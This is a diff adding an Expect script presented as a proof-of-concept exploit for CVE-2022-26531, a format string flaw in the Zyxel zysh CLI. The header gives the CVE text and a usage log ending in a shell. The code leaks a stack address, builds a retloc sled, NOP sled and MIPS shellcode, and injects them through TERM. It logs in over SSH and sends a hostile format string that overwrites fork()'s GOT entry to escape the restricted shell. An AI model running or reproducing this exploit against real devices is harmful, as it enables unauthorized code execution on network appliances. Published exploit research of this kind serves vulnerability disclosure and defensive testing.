|
| 1 | +#!/usr/bin/expect -f |
| 2 | + |
| 3 | +# |
| 4 | +# raptor_zysh_fhtagn.exp - zysh format string PoC exploit |
| 5 | +# Copyright (c) 2022 Marco Ivaldi < [email protected]> |
| 6 | +# |
| 7 | +# "We live on a placid island of ignorance in the midst of black seas of |
| 8 | +# infinity, and it was not meant that we should voyage far." |
| 9 | +# -- H. P. Lovecraft, The Call of Cthulhu |
| 10 | +# |
| 11 | +# "Multiple improper input validation flaws were identified in some CLI |
| 12 | +# commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71, |
| 13 | +# USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware |
| 14 | +# versions 4.32 through 5.21, VPN series firmware versions 4.30 through |
| 15 | +# 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500 |
| 16 | +# firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware |
| 17 | +# version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version |
| 18 | +# 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2) |
| 19 | +# and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and |
| 20 | +# earlier versions, that could allow a local authenticated attacker to |
| 21 | +# cause a buffer overflow or a system crash via a crafted payload." |
| 22 | +# -- CVE-2022-26531 |
| 23 | +# |
| 24 | +# The zysh binary is a restricted shell that implements the command-line |
| 25 | +# interface (CLI) on multiple Zyxel products. This proof-of-concept exploit |
| 26 | +# demonstrates how to leverage the format string bugs I have identified in |
| 27 | +# the "extension" argument of some zysh commands, to execute arbitrary code |
| 28 | +# and escape the restricted shell environment. |
| 29 | +# |
| 30 | +# - This exploit targets the "ping" zysh command. |
| 31 | +# - It overwrites the .got entry of fork() with the shellcode address. |
| 32 | +# - The shellcode address is calculated based on a leaked stack address. |
| 33 | +# - Hardcoded offsets and values might need some tweaking, see comments. |
| 34 | +# - Automation/weaponization for other targets is left as an exercise. |
| 35 | +# |
| 36 | +# For additional details on my bug hunting journey and on the |
| 37 | +# vulnerabilities themselves, you can refer to the official advisory: |
| 38 | +# https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt |
| 39 | +# |
| 40 | +# Usage: |
| 41 | +# raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password |
| 42 | +# raptor_zysh_fhtagn.exp - zysh format string PoC exploit |
| 43 | +# Copyright (c) 2022 Marco Ivaldi < [email protected]> |
| 44 | +# |
| 45 | +# Leaked stack address: 0x7fe97170 |
| 46 | +# Shellcode address: 0x7fe9de40 |
| 47 | +# Base string length: 46 |
| 48 | +# Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn |
| 49 | +# |
| 50 | +# *** enjoy your shell! *** |
| 51 | +# |
| 52 | +# sh-5.1$ uname -snrmp |
| 53 | +# Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0 |
| 54 | +# sh-5.1$ id |
| 55 | +# uid=10007(admin) gid=10000(operator) groups=10000(operator) |
| 56 | +# |
| 57 | +# Tested on: |
| 58 | +# Zyxel USG20-VPN with Firmware 5.10 |
| 59 | +# [other appliances/versions are also likely vulnerable] |
| 60 | +# |
| 61 | + |
| 62 | +# change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8 |
| 63 | +encoding system iso8859-1 |
| 64 | + |
| 65 | +# hostile format string to leak stack address via direct parameter access |
| 66 | +set offset1 77 |
| 67 | +set leak [format "AAAA.0x%%%d\$x" $offset1] |
| 68 | + |
| 69 | +# offsets to reach addresses in retloc sled via direct parameter access |
| 70 | +set offset2 1801 |
| 71 | +set offset3 [expr $offset2 + 1] |
| 72 | + |
| 73 | +# difference between leaked stack address and shellcode address |
| 74 | +set diff 27856 |
| 75 | + |
| 76 | +# retloc sled |
| 77 | +# $ mips64-linux-readelf -a zysh | grep JUMP | grep fork |
| 78 | +# 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0 |
| 79 | +# ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2] |
| 80 | +set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024] |
| 81 | + |
| 82 | +# nop sled |
| 83 | +# nop-equivalent instruction: xor $t0, $t0, $t0 |
| 84 | +set nops [string repeat "\x01\x8c\x60\x26" 64] |
| 85 | + |
| 86 | +# shellcode |
| 87 | +# https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c |
| 88 | +set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c" |
| 89 | + |
| 90 | +# padding to align payload in memory (might need adjusting) |
| 91 | +set padding "AAA" |
| 92 | + |
| 93 | +# print header |
| 94 | +send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n" |
| 95 | +send_user "Copyright (c) 2022 Marco Ivaldi < [email protected]>\n\n" |
| 96 | + |
| 97 | +# check command line |
| 98 | +if { [llength $argv] != 3} { |
| 99 | + send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n" |
| 100 | + exit 1 |
| 101 | +} |
| 102 | + |
| 103 | +# get SSH connection parameters |
| 104 | +set port "22" |
| 105 | +set host [lindex $argv 0] |
| 106 | +set user [lindex $argv 1] |
| 107 | +set pass [lindex $argv 2] |
| 108 | + |
| 109 | +# inject payload via the TERM environment variable |
| 110 | +set env(TERM) $retloc$nops$sc$padding |
| 111 | + |
| 112 | +# connect to target via SSH |
| 113 | +log_user 0 |
| 114 | +spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user |
| 115 | +expect { |
| 116 | + -nocase "password*" { |
| 117 | + send "$pass\r" |
| 118 | + } |
| 119 | + default { |
| 120 | + send_error "error: could not connect to ssh\n" |
| 121 | + exit 1 |
| 122 | + } |
| 123 | +} |
| 124 | + |
| 125 | +# leak stack address |
| 126 | +expect { |
| 127 | + "Router? $" { |
| 128 | + send "ping 127.0.0.1 extension $leak\r" |
| 129 | + } |
| 130 | + default { |
| 131 | + send_error "error: could not access zysh prompt\n" |
| 132 | + exit 1 |
| 133 | + } |
| 134 | +} |
| 135 | +expect { |
| 136 | + -re "ping: unknown host AAAA\.(0x.*)\r\n" { |
| 137 | + } |
| 138 | + default { |
| 139 | + send_error "error: could not leak stack address\n" |
| 140 | + exit 1 |
| 141 | + } |
| 142 | +} |
| 143 | +set leaked $expect_out(1,string) |
| 144 | +send_user "Leaked stack address:\t$leaked\n" |
| 145 | + |
| 146 | +# calculate shellcode address |
| 147 | +set retval [expr $leaked + $diff] |
| 148 | +set retval [format 0x%x $retval] |
| 149 | +send_user "Shellcode address:\t$retval\n" |
| 150 | + |
| 151 | +# extract each byte of shellcode address |
| 152 | +set b1 [expr ($retval & 0xff000000) >> 24] |
| 153 | +set b2 [expr ($retval & 0x00ff0000) >> 16] |
| 154 | +set b3 [expr ($retval & 0x0000ff00) >> 8] |
| 155 | +set b4 [expr ($retval & 0x000000ff)] |
| 156 | +set b1 [format 0x%x $b1] |
| 157 | +set b2 [format 0x%x $b2] |
| 158 | +set b3 [format 0x%x $b3] |
| 159 | +set b4 [format 0x%x $b4] |
| 160 | + |
| 161 | +# calculate numeric arguments for the hostile format string |
| 162 | +set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "] |
| 163 | +send_user "Base string length:\t$base\n" |
| 164 | +set n1 [expr ($b4 - $base) % 0x100] |
| 165 | +set n2 [expr ($b2 - $b4) % 0x100] |
| 166 | +set n3 [expr ($b1 - $b2) % 0x100] |
| 167 | +set n4 [expr ($b3 - $b1) % 0x100] |
| 168 | + |
| 169 | +# check for dangerous numeric arguments below 10 |
| 170 | +if {$n1 < 10} { incr n1 0x100 } |
| 171 | +if {$n2 < 10} { incr n2 0x100 } |
| 172 | +if {$n3 < 10} { incr n3 0x100 } |
| 173 | +if {$n4 < 10} { incr n4 0x100 } |
| 174 | + |
| 175 | +# craft the hostile format string |
| 176 | +set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4] |
| 177 | +send_user "Hostile format string:\t$exploit\n\n" |
| 178 | + |
| 179 | +# uncomment to debug |
| 180 | +# interact + |
| 181 | + |
| 182 | +# exploit target |
| 183 | +set prompt "(#|\\\$) $" |
| 184 | +expect { |
| 185 | + "Router? $" { |
| 186 | + send "ping 127.0.0.1 extension $exploit\r" |
| 187 | + } |
| 188 | + default { |
| 189 | + send_error "error: could not access zysh prompt\n" |
| 190 | + exit 1 |
| 191 | + } |
| 192 | +} |
| 193 | +expect { |
| 194 | + "Router? $" { |
| 195 | + send_error "error: could not exploit target\n" |
| 196 | + exit 1 |
| 197 | + } |
| 198 | + -re $prompt { |
| 199 | + send_user "*** enjoy your shell! ***\n" |
| 200 | + send "\r" |
| 201 | + interact |
| 202 | + } |
| 203 | + default { |
| 204 | + send_error "error: could not exploit target\n" |
| 205 | + exit 1 |
| 206 | + } |
| 207 | +} |
0 commit comments